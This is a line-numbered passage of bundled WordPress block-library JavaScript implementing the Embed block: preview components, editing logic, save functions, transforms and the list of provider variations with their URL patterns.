15444 return;
15445 }
15446 iframeProps[attributeMap[name] || name] = value;
15447 });
15448 return iframeProps;
15449 }, [html]);
15450 (0,external_wp_element_namespaceObject.useEffect)(() => {
15451 const { ownerDocument } = ref.current;
15452 const { defaultView } = ownerDocument;
15453 function resizeWPembeds({ data: { secret, message, value } = {} }) {
15454 if (message !== "height" || secret !== props["data-secret"]) {
15455 return;
15456 }
15457 ref.current.height = value;
15458 }
15459 defaultView.addEventListener("message", resizeWPembeds);
15460 return () => {
15461 defaultView.removeEventListener("message", resizeWPembeds);
15462 };
15463 }, []);
15464 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-embed__wrapper", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15465 "iframe",
15466 {
15467 ref: (0,external_wp_compose_namespaceObject.useMergeRefs)([ref, (0,external_wp_compose_namespaceObject.useFocusableIframe)()]),
15468 title: props.title,
15469 ...props
15470 }
15471 ) });
15472}
15473
15474
15475;// ./node_modules/@wordpress/block-library/build-module/embed/embed-preview.js
15476
15477
15478
15479
15480
15481
15482
15483
15484
15485function EmbedPreview({
15486 preview,
15487 previewable,
15488 url,
15489 type,
15490 isSelected,
15491 className,
15492 icon,
15493 label
15494}) {
15495 const [interactive, setInteractive] = (0,external_wp_element_namespaceObject.useState)(false);
15496 if (!isSelected && interactive) {
15497 setInteractive(false);
15498 }
15499 const hideOverlay = () => {
15500 setInteractive(true);
15501 };
15502 const { scripts } = preview;
15503 const html = "photo" === type ? getPhotoHtml(preview) : preview.html;
15504 const embedSourceUrl = (0,external_wp_url_namespaceObject.getAuthority)(url);
15505 const iframeTitle = (0,external_wp_i18n_namespaceObject.sprintf)(
15506 // translators: %s: host providing embed content e.g: www.youtube.com
15507 (0,external_wp_i18n_namespaceObject.__)("Embedded content from %s"),
15508 embedSourceUrl
15509 );
15510 const sandboxClassnames = dist_clsx(
15511 type,
15512 className,
15513 "wp-block-embed__wrapper"
15514 );
15515 const embedWrapper = "wp-embed" === type ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WpEmbedPreview, { html }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "wp-block-embed__wrapper", children: [
15516 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15517 external_wp_components_namespaceObject.SandBox,
15518 {
15519 html,
15520 scripts,
15521 title: iframeTitle,
15522 type: sandboxClassnames,
15523 onFocus: hideOverlay
15524 }
15525 ),
15526 !interactive && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15527 "div",
15528 {
15529 className: "block-library-embed__interactive-overlay",
15530 onMouseUp: hideOverlay
15531 }
15532 )
15533 ] });
15534 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: previewable ? embedWrapper : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
15535 external_wp_components_namespaceObject.Placeholder,
15536 {
15537 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon, showColors: true }),
15538 label,
15539 children: [
15540 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "components-placeholder__error", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href: url, children: url }) }),
15541 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "components-placeholder__error", children: (0,external_wp_i18n_namespaceObject.sprintf)(
15542 /* translators: %s: host providing embed content e.g: www.youtube.com */
15543 (0,external_wp_i18n_namespaceObject.__)(
15544 "Embedded content from %s can't be previewed in the editor."
15545 ),
15546 embedSourceUrl
15547 ) })
15548 ]
15549 }
15550 ) });
15551}
15552
15553
15554;// ./node_modules/@wordpress/block-library/build-module/embed/edit.js
15555
15556
15557
15558
15559
15560
15561
15562
15563
15564
15565
15566
15567
15568
15569
15570
15571const EmbedEdit = (props) => {
15572 const {
15573 attributes: {
15574 providerNameSlug,
15575 previewable,
15576 responsive,
15577 url: attributesUrl
15578 },
15579 attributes,
15580 isSelected,
15581 onReplace,
15582 setAttributes,
15583 insertBlocksAfter,
15584 onFocus
15585 } = props;
15586 const defaultEmbedInfo = {
15587 title: (0,external_wp_i18n_namespaceObject._x)("Embed", "block title"),
15588 icon: embedContentIcon
15589 };
15590 const { icon, title } = getEmbedInfoByProvider(providerNameSlug) || defaultEmbedInfo;
15591 const [url, setURL] = (0,external_wp_element_namespaceObject.useState)(attributesUrl);
15592 const [isEditingURL, setIsEditingURL] = (0,external_wp_element_namespaceObject.useState)(false);
15593 const { invalidateResolution } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
15594 const {
15595 preview,
15596 fetching,
15597 themeSupportsResponsive,
15598 cannotEmbed,
15599 hasResolved
15600 } = (0,external_wp_data_namespaceObject.useSelect)(
15601 (select) => {
15602 const {
15603 getEmbedPreview,
15604 isPreviewEmbedFallback,
15605 isRequestingEmbedPreview,
15606 getThemeSupports,
15607 hasFinishedResolution
15608 } = select(external_wp_coreData_namespaceObject.store);
15609 if (!attributesUrl) {
15610 return { fetching: false, cannotEmbed: false };
15611 }
15612 const embedPreview = getEmbedPreview(attributesUrl);
15613 const previewIsFallback = isPreviewEmbedFallback(attributesUrl);
15614 const badEmbedProvider = embedPreview?.html === false && embedPreview?.type === void 0;
15615 const wordpressCantEmbed = embedPreview?.data?.status === 404;
15616 const validPreview = !!embedPreview && !badEmbedProvider && !wordpressCantEmbed;
15617 return {
15618 preview: validPreview ? embedPreview : void 0,
15619 fetching: isRequestingEmbedPreview(attributesUrl),
15620 themeSupportsResponsive: getThemeSupports()["responsive-embeds"],
15621 cannotEmbed: !validPreview || previewIsFallback,
15622 hasResolved: hasFinishedResolution("getEmbedPreview", [
15623 attributesUrl
15624 ])
15625 };
15626 },
15627 [attributesUrl]
15628 );
15629 const getMergedAttributes = () => getMergedAttributesWithPreview(
15630 attributes,
15631 preview,
15632 title,
15633 responsive
15634 );
15635 function toggleResponsive(newAllowResponsive) {
15636 const { className: className2 } = attributes;
15637 const { html } = preview;
15638 setAttributes({
15639 allowResponsive: newAllowResponsive,
15640 className: getClassNames(
15641 html,
15642 className2,
15643 responsive && newAllowResponsive
15644 )
15645 });
15646 }
15647 (0,external_wp_element_namespaceObject.useEffect)(() => {
15648 if (preview?.html || !cannotEmbed || !hasResolved) {
15649 return;
15650 }
15651 const newURL = attributesUrl.replace(/\/$/, "");
15652 setURL(newURL);
15653 setIsEditingURL(false);
15654 setAttributes({ url: newURL });
15655 }, [
15656 preview?.html,
15657 attributesUrl,
15658 cannotEmbed,
15659 hasResolved,
15660 setAttributes
15661 ]);
15662 (0,external_wp_element_namespaceObject.useEffect)(() => {
15663 if (!cannotEmbed || fetching || !url) {
15664 return;
15665 }
15666 if ((0,external_wp_url_namespaceObject.getAuthority)(url) === "x.com") {
15667 const newURL = new URL(url);
15668 newURL.host = "twitter.com";
15669 setAttributes({ url: newURL.toString() });
15670 }
15671 }, [url, cannotEmbed, fetching, setAttributes]);
15672 (0,external_wp_element_namespaceObject.useEffect)(() => {
15673 if (preview && !isEditingURL) {
15674 const mergedAttributes = getMergedAttributes();
15675 const hasChanges = Object.keys(mergedAttributes).some(
15676 (key) => mergedAttributes[key] !== attributes[key]
15677 );
15678 if (hasChanges) {
15679 setAttributes(mergedAttributes);
15680 }
15681 if (onReplace) {
15682 const upgradedBlock = createUpgradedEmbedBlock(
15683 props,
15684 mergedAttributes
15685 );
15686 if (upgradedBlock) {
15687 onReplace(upgradedBlock);
15688 }
15689 }
15690 }
15691 }, [preview, isEditingURL]);
15692 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
15693 if (fetching) {
15694 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.View, { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(embed_loading_default, {}) });
15695 }
15696 const label = (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("%s URL"), title);
15697 const showEmbedPlaceholder = !preview || cannotEmbed || isEditingURL;
15698 if (showEmbedPlaceholder) {
15699 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.View, { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15700 embed_placeholder_default,
15701 {
15702 icon,
15703 label,
15704 onFocus,
15705 onSubmit: (event) => {
15706 if (event) {
15707 event.preventDefault();
15708 }
15709 const blockClass = removeAspectRatioClasses(
15710 attributes.className
15711 );
15712 setIsEditingURL(false);
15713 setAttributes({ url, className: blockClass });
15714 },
15715 value: url,
15716 cannotEmbed,
15717 onChange: (value) => setURL(value),
15718 fallback: () => fallback(url, onReplace),
15719 tryAgain: () => {
15720 invalidateResolution("getEmbedPreview", [url]);
15721 }
15722 }
15723 ) });
15724 }
15725 const {
15726 caption,
15727 type,
15728 allowResponsive,
15729 className: classFromPreview
15730 } = getMergedAttributes();
15731 const className = dist_clsx(classFromPreview, props.className);
15732 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
15733 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15734 embed_controls_default,
15735 {
15736 showEditButton: preview && !cannotEmbed,
15737 themeSupportsResponsive,
15738 blockSupportsResponsive: responsive,
15739 allowResponsive,
15740 toggleResponsive,
15741 switchBackToURLInput: () => setIsEditingURL(true)
15742 }
15743 ),
15744 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
15745 "figure",
15746 {
15747 ...blockProps,
15748 className: dist_clsx(blockProps.className, className, {
15749 [`is-type-${type}`]: type,
15750 [`is-provider-${providerNameSlug}`]: providerNameSlug,
15751 [`wp-block-embed-${providerNameSlug}`]: providerNameSlug
15752 }),
15753 children: [
15754 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15755 EmbedPreview,
15756 {
15757 preview,
15758 previewable,
15759 className,
15760 url,
15761 type,
15762 caption,
15763 onCaptionChange: (value) => setAttributes({ caption: value }),
15764 isSelected,
15765 icon,
15766 label,
15767 insertBlocksAfter,
15768 attributes,
15769 setAttributes
15770 }
15771 ),
15772 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15773 Caption,
15774 {
15775 attributes,
15776 setAttributes,
15777 isSelected,
15778 insertBlocksAfter,
15779 label: (0,external_wp_i18n_namespaceObject.__)("Embed caption text"),
15780 showToolbarButton: isSelected
15781 }
15782 )
15783 ]
15784 }
15785 )
15786 ] });
15787};
15788var embed_edit_edit_default = EmbedEdit;
15789
15790
15791;// ./node_modules/@wordpress/block-library/build-module/embed/save.js
15792
15793
15794
15795function embed_save_save({ attributes }) {
15796 const { url, caption, type, providerNameSlug } = attributes;
15797 if (!url) {
15798 return null;
15799 }
15800 const className = dist_clsx("wp-block-embed", {
15801 [`is-type-${type}`]: type,
15802 [`is-provider-${providerNameSlug}`]: providerNameSlug,
15803 [`wp-block-embed-${providerNameSlug}`]: providerNameSlug
15804 });
15805 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className }), children: [
15806 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-embed__wrapper", children: `
15807${url}
15808` }),
15809 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15810 external_wp_blockEditor_namespaceObject.RichText.Content,
15811 {
15812 className: (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)("caption"),
15813 tagName: "figcaption",
15814 value: caption
15815 }
15816 )
15817 ] });
15818}
15819
15820
15821;// ./node_modules/@wordpress/block-library/build-module/embed/transforms.js
15822
15823
15824
15825const { name: EMBED_BLOCK } = embed_block_namespaceObject;
15826const embed_transforms_transforms = {
15827 from: [
15828 {
15829 type: "raw",
15830 isMatch: (node) => node.nodeName === "P" && /^\s*(https?:\/\/\S+)\s*$/i.test(node.textContent) && node.textContent?.match(/https/gi)?.length === 1,
15831 transform: (node) => {
15832 return (0,external_wp_blocks_namespaceObject.createBlock)(EMBED_BLOCK, {
15833 url: node.textContent.trim()
15834 });
15835 }
15836 }
15837 ],
15838 to: [
15839 {
15840 type: "block",
15841 blocks: ["core/paragraph"],
15842 isMatch: ({ url }) => !!url,
15843 transform: ({ url, caption, className }) => {
15844 let value = `<a href="${url}">${url}</a>`;
15845 if (caption?.trim()) {
15846 value += `<br />${caption}`;
15847 }
15848 return (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {
15849 content: value,
15850 className: removeAspectRatioClasses(className)
15851 });
15852 }
15853 }
15854 ]
15855};
15856var embed_transforms_transforms_default = embed_transforms_transforms;
15857
15858
15859;// ./node_modules/@wordpress/block-library/build-module/embed/variations.js
15860
15861
15862function getTitle(providerName) {
15863 return (0,external_wp_i18n_namespaceObject.sprintf)(
15864 /* translators: %s: provider name */
15865 (0,external_wp_i18n_namespaceObject.__)("%s Embed"),
15866 providerName
15867 );
15868}
15869const embed_variations_variations = [
15870 {
15871 name: "twitter",
15872 title: getTitle("Twitter"),
15873 icon: embedTwitterIcon,
15874 keywords: ["tweet", (0,external_wp_i18n_namespaceObject.__)("social")],
15875 description: (0,external_wp_i18n_namespaceObject.__)("Embed a tweet."),
15876 patterns: [/^https?:\/\/(www\.)?twitter\.com\/.+/i],
15877 attributes: { providerNameSlug: "twitter", responsive: true }
15878 },
15879 {
15880 name: "youtube",
15881 title: getTitle("YouTube"),
15882 icon: embedYouTubeIcon,
15883 keywords: [(0,external_wp_i18n_namespaceObject.__)("music"), (0,external_wp_i18n_namespaceObject.__)("video")],
15884 description: (0,external_wp_i18n_namespaceObject.__)("Embed a YouTube video."),
15885 patterns: [
15886 /^https?:\/\/((m|www)\.)?youtube\.com\/.+/i,
15887 /^https?:\/\/youtu\.be\/.+/i
15888 ],
15889 attributes: { providerNameSlug: "youtube", responsive: true }
15890 },
15891 {
15892 // Deprecate Facebook Embed per FB policy
15893 // See: https://developers.facebook.com/docs/plugins/oembed-legacy
15894 name: "facebook",
15895 title: getTitle("Facebook"),
15896 icon: embedFacebookIcon,
15897 keywords: [(0,external_wp_i18n_namespaceObject.__)("social")],
15898 description: (0,external_wp_i18n_namespaceObject.__)("Embed a Facebook post."),
15899 scope: ["block"],
15900 patterns: [],
15901 attributes: {
15902 providerNameSlug: "facebook",
15903 previewable: false,
15904 responsive: true
15905 }
15906 },
15907 {
15908 // Deprecate Instagram per FB policy
15909 // See: https://developers.facebook.com/docs/instagram/oembed-legacy
15910 name: "instagram",
15911 title: getTitle("Instagram"),
15912 icon: embedInstagramIcon,
15913 keywords: [(0,external_wp_i18n_namespaceObject.__)("image"), (0,external_wp_i18n_namespaceObject.__)("social")],
15914 description: (0,external_wp_i18n_namespaceObject.__)("Embed an Instagram post."),
15915 scope: ["block"],
15916 patterns: [],
15917 attributes: { providerNameSlug: "instagram", responsive: true }
15918 },
15919 {
15920 name: "wordpress",
15921 title: getTitle("WordPress"),
15922 icon: embedWordPressIcon,
15923 keywords: [(0,external_wp_i18n_namespaceObject.__)("post"), (0,external_wp_i18n_namespaceObject.__)("blog")],
15924 description: (0,external_wp_i18n_namespaceObject.__)("Embed a WordPress post."),
15925 attributes: {
15926 providerNameSlug: "wordpress"
15927 }
15928 },
15929 {
15930 name: "soundcloud",
15931 title: getTitle("SoundCloud"),
15932 icon: embedAudioIcon,
15933 keywords: [(0,external_wp_i18n_namespaceObject.__)("music"), (0,external_wp_i18n_namespaceObject.__)("audio")],
15934 description: (0,external_wp_i18n_namespaceObject.__)("Embed SoundCloud content."),
15935 patterns: [/^https?:\/\/(www\.)?soundcloud\.com\/.+/i],
15936 attributes: { providerNameSlug: "soundcloud", responsive: true }
15937 },
15938 {
15939 name: "spotify",
15940 title: getTitle("Spotify"),
15941 icon: embedSpotifyIcon,
15942 keywords: [(0,external_wp_i18n_namespaceObject.__)("music"), (0,external_wp_i18n_namespaceObject.__)("audio")],
15943 description: (0,external_wp_i18n_namespaceObject.__)("Embed Spotify content."),
15944 patterns: [/^https?:\/\/(open|play)\.spotify\.com\/.+/i],
15945 attributes: { providerNameSlug: "spotify", responsive: true }
15946 },
15947 {
15948 name: "flickr",
15949 title: getTitle("Flickr"),
15950 icon: embedFlickrIcon,
15951 keywords: [(0,external_wp_i18n_namespaceObject.__)("image")],
15952 description: (0,external_wp_i18n_namespaceObject.__)("Embed Flickr content."),
15953 patterns: [
15954 /^https?:\/\/(www\.)?flickr\.com\/.+/i,
15955 /^https?:\/\/flic\.kr\/.+/i
15956 ],
15957 attributes: { providerNameSlug: "flickr", responsive: true }
15958 },
15959 {
15960 name: "vimeo",
15961 title: getTitle("Vimeo"),
15962 icon: embedVimeoIcon,
15963 keywords: [(0,external_wp_i18n_namespaceObject.__)("video")],
15964 description: (0,external_wp_i18n_namespaceObject.__)("Embed a Vimeo video."),
15965 patterns: [/^https?:\/\/(www\.)?vimeo\.com\/.+/i],
15966 attributes: { providerNameSlug: "vimeo", responsive: true }
15967 },
15968 {
15969 name: "animoto",
15970 title: getTitle("Animoto"),
15971 icon: embedAnimotoIcon,
15972 description: (0,external_wp_i18n_namespaceObject.__)("Embed an Animoto video."),
15973 patterns: [/^https?:\/\/(www\.)?(animoto|video214)\.com\/.+/i],
15974 attributes: { providerNameSlug: "animoto", responsive: true }
15975 },
15976 {
15977 name: "cloudup",
15978 title: getTitle("Cloudup"),
15979 icon: embedContentIcon,
15980 description: (0,external_wp_i18n_namespaceObject.__)("Embed Cloudup content."),
15981 patterns: [/^https?:\/\/cloudup\.com\/.+/i],
15982 attributes: { providerNameSlug: "cloudup", responsive: true }
15983 },
15984 {
15985 // Deprecated since CollegeHumor content is now powered by YouTube.
15986 name: "collegehumor",
15987 title: getTitle("CollegeHumor"),
15988 icon: embedVideoIcon,
15989 description: (0,external_wp_i18n_namespaceObject.__)("Embed CollegeHumor content."),
15990 scope: ["block"],
15991 patterns: [],
15992 attributes: { providerNameSlug: "collegehumor", responsive: true }
15993 },
15994 {
15995 name: "crowdsignal",
15996 title: getTitle("Crowdsignal"),
15997 icon: embedContentIcon,
15998 keywords: ["polldaddy", (0,external_wp_i18n_namespaceObject.__)("survey")],
15999 description: (0,external_wp_i18n_namespaceObject.__)("Embed Crowdsignal (formerly Polldaddy) content."),
16000 patterns: [
16001 /^https?:\/\/((.+\.)?polldaddy\.com|poll\.fm|.+\.crowdsignal\.net|.+\.survey\.fm)\/.+/i
16002 ],
16003 attributes: { providerNameSlug: "crowdsignal", responsive: true }
16004 },
16005 {
16006 name: "dailymotion",
16007 title: getTitle("Dailymotion"),
16008 icon: embedDailymotionIcon,
16009 keywords: [(0,external_wp_i18n_namespaceObject.__)("video")],
16010 description: (0,external_wp_i18n_namespaceObject.__)("Embed a Dailymotion video."),
16011 patterns: [/^https?:\/\/(www\.)?dailymotion\.com\/.+/i],
16012 attributes: { providerNameSlug: "dailymotion", responsive: true }
16013 },
16014 {
16015 name: "imgur",
16016 title: getTitle("Imgur"),
16017 icon: embedPhotoIcon,
16018 description: (0,external_wp_i18n_namespaceObject.__)("Embed Imgur content."),
16019 patterns: [/^https?:\/\/(.+\.)?imgur\.com\/.+/i],
16020 attributes: { providerNameSlug: "imgur", responsive: true }
16021 },
16022 {
16023 name: "issuu",
16024 title: getTitle("Issuu"),
16025 icon: embedContentIcon,
16026 description: (0,external_wp_i18n_namespaceObject.__)("Embed Issuu content."),
16027 patterns: [/^https?:\/\/(www\.)?issuu\.com\/.+/i],
16028 attributes: { providerNameSlug: "issuu", responsive: true }
16029 },
16030 {
16031 name: "kickstarter",
16032 title: getTitle("Kickstarter"),
16033 icon: embedContentIcon,
16034 description: (0,external_wp_i18n_namespaceObject.__)("Embed Kickstarter content."),
16035 patterns: [
16036 /^https?:\/\/(www\.)?kickstarter\.com\/.+/i,
16037 /^https?:\/\/kck\.st\/.+/i
16038 ],
16039 attributes: { providerNameSlug: "kickstarter", responsive: true }
16040 },
16041 {
16042 name: "mixcloud",
16043 title: getTitle("Mixcloud"),
16044 icon: embedAudioIcon,
16045 keywords: [(0,external_wp_i18n_namespaceObject.__)("music"), (0,external_wp_i18n_namespaceObject.__)("audio")],
16046 description: (0,external_wp_i18n_namespaceObject.__)("Embed Mixcloud content."),
16047 patterns: [/^https?:\/\/(www\.)?mixcloud\.com\/.+/i],
16048 attributes: { providerNameSlug: "mixcloud", responsive: true }
16049 },
16050 {
16051 name: "pocket-casts",
16052 title: getTitle("Pocket Casts"),
16053 icon: embedPocketCastsIcon,
16054 keywords: [(0,external_wp_i18n_namespaceObject.__)("podcast"), (0,external_wp_i18n_namespaceObject.__)("audio")],
16055 description: (0,external_wp_i18n_namespaceObject.__)("Embed a podcast player from Pocket Casts."),
16056 patterns: [/^https:\/\/pca.st\/\w+/i],
16057 attributes: { providerNameSlug: "pocket-casts", responsive: true }
16058 },
16059 {
16060 name: "reddit",
16061 title: getTitle("Reddit"),
16062 icon: embedRedditIcon,
16063 description: (0,external_wp_i18n_namespaceObject.__)("Embed a Reddit thread."),
16064 patterns: [/^https?:\/\/(www\.)?reddit\.com\/.+/i],
16065 attributes: { providerNameSlug: "reddit", responsive: true }
16066 },
16067 {
16068 name: "reverbnation",
16069 title: getTitle("ReverbNation"),
16070 icon: embedAudioIcon,
16071 description: (0,external_wp_i18n_namespaceObject.__)("Embed ReverbNation content."),
16072 patterns: [/^https?:\/\/(www\.)?reverbnation\.com\/.+/i],
16073 attributes: { providerNameSlug: "reverbnation", responsive: true }
16074 },
16075 {
16076 name: "scribd",
16077 title: getTitle("Scribd"),
16078 icon: embedContentIcon,
16079 description: (0,external_wp_i18n_namespaceObject.__)("Embed Scribd content."),
16080 patterns: [/^https?:\/\/(www\.)?scribd\.com\/.+/i],
16081 attributes: { providerNameSlug: "scribd", responsive: true }
16082 },
16083 {
16084 name: "smugmug",
16085 title: getTitle("SmugMug"),
16086 icon: embedPhotoIcon,
16087 description: (0,external_wp_i18n_namespaceObject.__)("Embed SmugMug content."),
16088 patterns: [/^https?:\/\/(.+\.)?smugmug\.com\/.*/i],
16089 attributes: {
16090 providerNameSlug: "smugmug",
16091 previewable: false,
16092 responsive: true
16093 }
16094 },
16095 {
16096 name: "speaker-deck",
16097 title: getTitle("Speaker Deck"),
16098 icon: embedContentIcon,
16099 description: (0,external_wp_i18n_namespaceObject.__)("Embed Speaker Deck content."),
16100 patterns: [/^https?:\/\/(www\.)?speakerdeck\.com\/.+/i],
16101 attributes: { providerNameSlug: "speaker-deck", responsive: true }
16102 },
16103 {
16104 name: "tiktok",
16105 title: getTitle("TikTok"),
16106 icon: embedVideoIcon,
16107 keywords: [(0,external_wp_i18n_namespaceObject.__)("video")],
16108 description: (0,external_wp_i18n_namespaceObject.__)("Embed a TikTok video."),
16109 patterns: [/^https?:\/\/(www\.)?tiktok\.com\/.+/i],
16110 attributes: { providerNameSlug: "tiktok", responsive: true }
16111 },
16112 {
16113 name: "ted",
16114 title: getTitle("TED"),
16115 icon: embedVideoIcon,
16116 description: (0,external_wp_i18n_namespaceObject.__)("Embed a TED video."),
16117 patterns: [/^https?:\/\/(www\.|embed\.)?ted\.com\/.+/i],
16118 attributes: { providerNameSlug: "ted", responsive: true }
16119 },
16120 {
16121 name: "tumblr",
16122 title: getTitle("Tumblr"),
16123 icon: embedTumblrIcon,
16124 keywords: [(0,external_wp_i18n_namespaceObject.__)("social")],
16125 description: (0,external_wp_i18n_namespaceObject.__)("Embed a Tumblr post."),
16126 patterns: [/^https?:\/\/(.+)\.tumblr\.com\/.+/i],
16127 attributes: { providerNameSlug: "tumblr", responsive: true }
16128 },
16129 {
16130 name: "videopress",
16131 title: getTitle("VideoPress"),
16132 icon: embedVideoIcon,
16133 keywords: [(0,external_wp_i18n_namespaceObject.__)("video")],
16134 description: (0,external_wp_i18n_namespaceObject.__)("Embed a VideoPress video."),
16135 patterns: [/^https?:\/\/videopress\.com\/.+/i],
16136 attributes: { providerNameSlug: "videopress", responsive: true }
16137 },
16138 {
16139 name: "wordpress-tv",
16140 title: getTitle("WordPress.tv"),
16141 icon: embedVideoIcon,
16142 description: (0,external_wp_i18n_namespaceObject.__)("Embed a WordPress.tv video."),
16143 patterns: [/^https?:\/\/wordpress\.tv\/.+/i],
16144 attributes: { providerNameSlug: "wordpress-tv", responsive: true }
16145 },
16146 {
16147 name: "amazon-kindle",
16148 title: getTitle("Amazon Kindle"),
16149 icon: embedAmazonIcon,
16150 keywords: [(0,external_wp_i18n_namespaceObject.__)("ebook")],
16151 description: (0,external_wp_i18n_namespaceObject.__)("Embed Amazon Kindle content."),
16152 patterns: [
16153 /^https?:\/\/([a-z0-9-]+\.)?(amazon|amzn)(\.[a-z]{2,4})+\/.+/i,
16154 /^https?:\/\/(www\.)?(a\.co|z\.cn)\/.+/i
16155 ],
16156 attributes: { providerNameSlug: "amazon-kindle" }
16157 },
16158 {
16159 name: "pinterest",
16160 title: getTitle("Pinterest"),
16161 icon: embedPinterestIcon,
16162 keywords: [(0,external_wp_i18n_namespaceObject.__)("social"), (0,external_wp_i18n_namespaceObject.__)("bookmark")],
16163 description: (0,external_wp_i18n_namespaceObject.__)("Embed Pinterest pins, boards, and profiles."),
16164 patterns: [
16165 /^https?:\/\/([a-z]{2}|www)\.pinterest\.com(\.(au|mx))?\/.*/i
16166 ],
16167 attributes: { providerNameSlug: "pinterest" }
16168 },
16169 {
16170 name: "wolfram-cloud",
16171 title: getTitle("Wolfram"),
16172 icon: embedWolframIcon,
16173 description: (0,external_wp_i18n_namespaceObject.__)("Embed Wolfram notebook content."),
16174 patterns: [/^https?:\/\/(www\.)?wolframcloud\.com\/obj\/.+/i],
16175 attributes: { providerNameSlug: "wolfram-cloud", responsive: true }
16176 },
16177 {
16178 name: "bluesky",
16179 title: getTitle("Bluesky"),
16180 icon: embedBlueskyIcon,
16181 description: (0,external_wp_i18n_namespaceObject.__)("Embed a Bluesky post."),
16182 patterns: [/^https?:\/\/bsky\.app\/profile\/.+\/post\/.+/i],
16183 attributes: { providerNameSlug: "bluesky" }
16184 }
16185];
16186embed_variations_variations.forEach((variation) => {
16187 if (variation.isActive) {
16188 return;
16189 }
16190 variation.isActive = (blockAttributes, variationAttributes) => blockAttributes.providerNameSlug === variationAttributes.providerNameSlug;
16191});
16192var embed_variations_variations_default = embed_variations_variations;
16193
16194
16195;// ./node_modules/@wordpress/block-library/build-module/embed/deprecated.js
16196
16197
16198
16199
16200const { attributes: embed_deprecated_blockAttributes } = embed_block_namespaceObject;
16201const embed_deprecated_v2 = {
16202 attributes: embed_deprecated_blockAttributes,
16203 save({ attributes }) {
16204 const { url, caption, type, providerNameSlug } = attributes;
16205 if (!url) {
16206 return null;
16207 }
16208 const className = dist_clsx("wp-block-embed", {
16209 [`is-type-${type}`]: type,
16210 [`is-provider-${providerNameSlug}`]: providerNameSlug,
16211 [`wp-block-embed-${providerNameSlug}`]: providerNameSlug
16212 });
16213 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className }), children: [
16214 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-embed__wrapper", children: `
16215${url}
16216` }),
16217 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "figcaption", value: caption })
16218 ] });
16219 }
16220};
16221const embed_deprecated_v1 = {
16222 attributes: embed_deprecated_blockAttributes,
16223 save({ attributes: { url, caption, type, providerNameSlug } }) {
16224 if (!url) {
16225 return null;
16226 }
16227 const embedClassName = dist_clsx("wp-block-embed", {
16228 [`is-type-${type}`]: type,
16229 [`is-provider-${providerNameSlug}`]: providerNameSlug
16230 });
16231 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { className: embedClassName, children: [
16232 `
16233${url}
16234`,
16235 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "figcaption", value: caption })
16236 ] });
16237 }
16238};
16239const embed_deprecated_deprecated = [embed_deprecated_v2, embed_deprecated_v1];
16240var embed_deprecated_deprecated_default = embed_deprecated_deprecated;
16241
16242
16243;// ./node_modules/@wordpress/block-library/build-module/embed/index.js
16244
16245
16246
16247
16248
16249
16250
16251
16252const { name: embed_name } = embed_block_namespaceObject;
16253const embed_settings = {
16254 icon: embedContentIcon,
16255 edit: embed_edit_edit_default,
16256 save: embed_save_save,
16257 transforms: embed_transforms_transforms_default,
16258 variations: embed_variations_variations_default,
16259 deprecated: embed_deprecated_deprecated_default
16260};
16261const embed_init = () => initBlock({ name: embed_name, metadata: embed_block_namespaceObject, settings: embed_settings });
16262
16263
16264;// ./node_modules/@wordpress/icons/build-module/library/file.js
16265
16266
